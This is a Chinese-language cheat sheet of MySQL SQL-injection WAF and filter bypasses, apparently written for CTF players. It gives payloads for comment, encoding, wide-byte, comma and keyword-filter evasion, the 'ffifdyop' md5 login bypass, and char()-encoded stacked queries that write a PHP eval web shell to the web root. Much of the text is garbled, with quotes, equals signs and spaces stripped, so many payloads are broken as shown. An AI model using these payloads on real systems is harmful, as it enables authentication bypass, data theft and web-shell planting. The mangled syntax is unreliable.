sql注入各种绕过

sql注入各种绕过
1.注释符号绕过-- 注释内容# 注释内容/*注释内容*/;;%002.大小写绕过常用于 waf的正则对大小写不敏感的情况一般都是题目自己故意这样设计。UniOn SeleCt3.内联注释绕过内联注释就是把一些特有的仅在MYSQL上的语句放在 /!../ 中这样这些语句如果在其它数据库中是不会被执行但在MYSQL中会执行。select* from cms_users whereuserid1union /*!select*/1,2,3;4.双写绕过在某一些简单的waf中将关键字select等只使用replace()函数置换为空这时候可以使用双写关键字绕过。例如select变成seleselectct在经过waf的处理之后又变成select达到绕过的要求。5.编码绕过如URLEncode编码ASCII,HEX,unicode编码绕过对关键字进行两次url全编码1and121%25%36%31%25%36%65%25%36%3412ascii编码绕过Test 等价于CHAR(101)CHAR(97)CHAR(115)CHAR(116)16进制绕过select* fromuserswhere usernametest1;select* fromuserswhere username0x7465737431;unicode编码对部分符号的绕过单引号%u0037 %u02b9 空格%u0020 %uff00 左括号%u0028 %uff08 右括号%u0029 %uff096.大于小于号绕过在sql盲注中一般使用大小于号来判断ascii码值的大小来达到爆破的效果。greatest(n1, n2, n3…):返回n中的最大值 或least(n1,n2,n3…):返回n中的最小值select* from cms_users whereuserid1and greatest(ascii(substr(database(),1,1)),1)99;strcmp(str1,str2):若所有的字符串均相同则返回STRCMP()若根据当前分类次序第一个参数小于第二个则返回 -1其它情况返回 1select* from cms_users whereuserid1and strcmp(ascii(substr(database(),0,1)),99);in关键字select* from cms_users whereuserid1and substr(database(),1,1)in(c);between a and b:范围在a-b之间不包含bselect* from cms_users whereuserid1and substr(database(),1,1)betweenaandd;7.空格绕过一般绕过空格过滤的方法有以下几种方法来取代空格/**/()selectgroup_concat(column_name)from(informat ion_schema.columns)wheretable_namexxx回车(url编码中的%0a)(tap键上面的按钮)tap 两个空格8.对or and xor not 绕过or||andxor|或者 ^# 异或,例如Select * from cms_users where userid1^sleep(5);not!9.对等号绕过不加通配符的like执行的效果和 一致所以可以用来绕过。正常加上通配符的likeSelect * from cms_users where username likead%;不加上通配符的like可以用来取代Select * from cms_users where username likeadmin;regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配Select * from cms_users where username REGEXPadmin;使用大小于号来绕过Select * from cms_users where userid0and userid2; 等价于 ! ,所以在前面再加一个 ! 结果就是等号了Select * from cms_users where!(usernameadmin);10.对单引号的绕过使用十六进制会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句这条语句就是一个简单的用来查选得到users表中所有字段的一条语句selectcolumn_name from information_schema.tables wheretable_nameusers这个时候如果引号被过滤了那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。users的十六进制的字符串是7573657273。那么最后的sql语句就变为了selectcolumn_name from information_schema.tables wheretable_name0x7573657273宽字节在 mysql 中使用 GBK 编码的时候会认为两个字符为一个汉字一般有两种思路1%df 吃掉 \ 具体的方法是 urlencode(’) %5c%27我们在 %5c%27 前面添加 %df 形成%df%5c%27 而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字%df%5c 就是一个汉字%27 作为一个单独的 ’ 符号在外面id-1%df%27unionselect1,user(),3--2将 ’ 中的 \ 过滤掉例如可以构造 %**%5c%5c%27 后面的 %5c 会被前面的 %5c 注释掉。一般产生宽字节注入的PHP函数1.replace过滤 ’ \ 将 ’ 转化为 ’ 将 \ 转为 \将 转为 。用思路一。2.addslaches()返回在预定义字符之前添加反斜杠\的字符串。预定义字符’ , , \ 。用思路一防御此漏洞要将 mysql_query 设置为 binary 的方式空白字符1 union(select%0aall{x users}from{x ddd}) 1 union(select%0adistinct{x users}from{x ddd}) 1 union(select%0adistinctrow{x users}from{x ddd})11.对逗号的绕过sql盲注时常用到以下的函数substr()substr(string, pos, len):从pos开始取长度为len的子串substr(string, pos):从pos开始取到string的最后substring()用法和substr()一样mid()用法和substr()一样但是mid()是为了向下兼容VB6.0已经过时以上的几个函数的pos都是从1开始的left()和right()left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串limitlimit pos len:在返回项中从pos开始去len个返回值pos的从0开始ascii()和char()ascii(char):把char这个字符转为ascii码char(ascii_int):和ascii()的作用相反将ascii码转字符对于substr()和mid()这两个方法可以使用from for 的方式来解决selectsubstr(database()from1for1)c;使用join关键字来绕过unionselect1,2,3,4;unionselect* from((select1)A join(select2)B join(select3)C join(select4)D);union select*from((select1)A join(select2)B join(select3)C join(select group_concat(user(), ,database(), ,datadir))D);使用like关键字 适用于substr()等提取子串的函数中的逗号selectascii(mid(user(),1,1))80#等价于selectuser()liker%使用offset关键字select* from cms_users limit0,1;# 等价于下面这条SQL语句select* from cms_users limit1offset0;12.过滤函数绕过sleep() --benchmark()select 12,23 and sleep(1);参数可以是需要执行的次数和表达式。第一个参数是执行次数第二个执行的表达式select 12,23 and benchmark(10000000,1);ascii()–hex()、bin()替代之后再使用对应的进制转string即可group_concat()–concat_ws()select group_concat(“str1”,“str2”);select concat_ws(“,”,“str1”,“str2”);substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()user() -- user、datadir–datadirord()–ascii():这两个函数在处理英文时效果一样但是处理中文等时不一致。过滤了if函数if函数的判断语句selectif(substr(database(),1,1)c,1,0);IFNULL函数selectifnull(substr(database(),1,1)c,0);casewhen then函数selectcasesubstr(database(),1,1)cwhen1then1else0end;selectcasewhen substr(database(),1,1)cthen1elseexp(710)end;(CASEWHEN(ascii(Substr(database()from1for1))1)THEN1ELSEexp(710)END;13堆叠注入时利用 MySql 预处理在遇到堆叠注入时如果select、rename、alter和handler等语句都被过滤的话我们可以用MySql预处理语句配合concat拼接来执行sql语句拿flag。PREPARE准备一条SQL语句并分配给这条SQL语句一个名字(hello)供之后调用EXECUTE执行命令DEALLOCATE PREPARE释放命令SET用于设置变量(a)1;sEt aconcat(sel,ect flag from flag_here);PRepare hello from a;execute hello;#这里还用大小写简单绕了一下其他过滤MySql 预处理配合十六进制绕过关键字基本原理如下mysqlselecthex(show databases);------------------------------|hex(show databases;)|------------------------------|73686F7720646174616261736573|------------------------------1rowinset(0.01sec)mysqlsetb0x73686F7720646174616261736573;Query OK,0rows affected(0.01sec)mysqlpreparetestfrom b;Query OK,0rows affected(0.02sec)Statement prepared mysqlexecutetest;--------------------|Database|--------------------|information_schema||challenges||mysql||performance_schema||security||test|--------------------6rowsinset(0.02sec)即payload类似如下1;sEt a0x73686F7720646174616261736573;PRepare hello from a;execute hello;#MySql预处理配合字符串拼接绕过关键字原理就是借助char()函数将ascii码转化为字符然后再使用concat()函数将字符连接起来有了前面的基础这里应该很好理解了setsqlconcat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(39),char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(119),char(104),char(111),char(97),char(109),char(105),char(93),char(41),char(59),char(63),char(62),char(39),char(32),char(105),char(110),char(116),char(111),char(32),char(111),char(117),char(116),char(102),char(105),char(108),char(101),char(32),char(39),char(47),char(118),char(97),char(114),char(47),char(119),char(119),char(119),char(47),char(104),char(116),char(109),char(108),char(47),char(102),char(97),char(118),char(105),char(99),char(111),char(110),char(47),char(115),char(104),char(101),char(108),char(108),char(46),char(112),char(104),char(112),char(39),char(59));prepare s1 from sql;execute s1;也可以不用concat函数直接用char函数也具有连接功能setsqlchar(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,119,104,111,97,109,105,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare s1 from sql;execute s1;14’“.md5($pass,true).”’ 登录绕过很多站点为了安全都会利用这样的语句SELECT * FROMusersWHERE password.md5($password,true).;md5(string,true) 函数在指定了true的时候是返回的原始 16 字符二进制格式也就是说会返回这样子的字符串or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c这不是普通的二进制字符串而是 or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c 这种这样的话就会和前面的形成闭合构成万能密码。SELECT * FROM users WHERE password ‘‘or’6…’这就是永真的了这就是一个万能密码了相当于 1’ or 11# 或 1’ or 1#。但是我们思考一下为什么 6\xc9]\x99\xe9!r,\xf9\xedb\x1c 的布尔值是true呢在mysql里面在用作布尔型判断时以1开头的字符串会被当做整型数这类似于PHP的弱类型。要注意的是这种情况是必须要有单引号括起来的比如 password‘xxx’ or ‘1xxxxxxxxx’那么就相当于password‘xxx’ or 1 也就相当于 password‘xxx’ or true所以返回值就是true。这里不只是1开头只要是数字开头都是可以的。当然如果只有数字的话就不需要单引号比如 password‘xxx’ or 1那么返回值也是 true。xxx指代任意字符接下来就是找到这样子的字符串这里给出两个吧。ffifdyop content: ffifdyop hex: 276f722736c95d99e921722cf9ed621c raw:or6\xc9]\x99\xe9!r,\xf9\xedb\x1c string:or6]!r,b129581926211651571912466741651878684928129581926211651571912466741651878684928 content:129581926211651571912466741651878684928hex: 06da5430449f8f6f23dfc1276f722738 raw:\x06\xdaT0D\x9f\x8fo#\xdf\xc1or8string: T0Do#or8附录 PHP中一些常见的过滤方法及绕过方式过滤关键字 and or php代码 preg_match(/(and|or)/i,$id)会过滤的攻击代码1or111and11绕过方式1||11111过滤关键字 and or union php代码 preg_match(/(and|or|union)/i,$id)会过滤的攻击代码 unionselectuser,password fromusers绕过方式1(select user fromuserswhereuserid1)admin过滤关键字 and or union where php代码 preg_match(/(and|or|union|where)/i,$id)会过滤的攻击代码1(select user fromuserswhere user_id1)admin绕过方式1(select user fromuserslimit1)admin过滤关键字 and or union where php代码 preg_match(/(and|or|union|where)/i,$id)会过滤的攻击代码1(select user fromuserswhere user_id1)admin绕过方式1(select user fromuserslimit1)admin过滤关键字 and, or, union, where, limit php代码 preg_match(/(and|or|union|where|limit)/i,$id)会过滤的攻击代码1(select user fromuserslimit1)admin绕过方式1(select user fromusersgroup by user_id having user_id1)admin#user_id聚合中user_id为1的user为admin过滤关键字 and, or, union, where, limit, group by php代码 preg_match(/(and|or|union|where|limit|group by)/i,$id)会过滤的攻击代码1(select user fromusersgroup by user_id having user_id1)admin绕过方式1(select substr(group_concat(user_id),1,1)user fromusers)1过滤关键字 and, or, union, where, limit, group by,selectphp代码 preg_match(/(and|or|union|where|limit|group by|select)/i,$id)会过滤的攻击代码1(select substr(gruop_concat(user_id),1,1)user fromusers)1绕过方式1substr(user,1,1)a过滤关键字 and, or, union, where, limit, group by, select, php代码 preg_match(/(and|or|union|where|limit|group by|select|\)/i, $id) 会过滤的攻击代码 1 (select substr(gruop_concat(user_id),1,1) user from users) 1 绕过方式 1 user_id is not null 1 substr(user,1,1) 0x61 1 substr(user,1,1) unhex(61) 过滤关键字 and, or, union, where, limit, group by, select, , hex php代码 preg_match(/(and|or|union|where|limit|group by|select|\|hex)/i, $id) 会过滤的攻击代码 1 substr(user,1,1) unhex(61) 绕过方式 1 substr(user,1,1) lower(conv(11,10,16)) #十进制的11转化为十六进制并小写。 过滤关键字 and, or, union, where, limit, group by, select, , hex, substr php代码 preg_match(/(and|or|union|where|limit|group by|select|\|hex|substr)/i, $id) 会过滤的攻击代码 1 substr(user,1,1) lower(conv(11,10,16))/td 绕过方式 1 lpad(user,7,1) 过滤关键字 and, or, union, where, limit, group by, select, , hex, substr, 空格 php代码 preg_match(/(and|or|union|where|limit|group by|select|\|hex|substr|\s)/i, $id) 会过滤的攻击代码 1 lpad(user,7,1)/td 绕过方式 1%0b||%0blpad(user,7,1) 过滤关键字 and or union where php代码 preg_match(/(and|or|union|where)/i,$id) 会过滤的攻击代码 1 || (select user from users where user_id 1) admin 绕过方式 1 || (select user from users limit 1) admin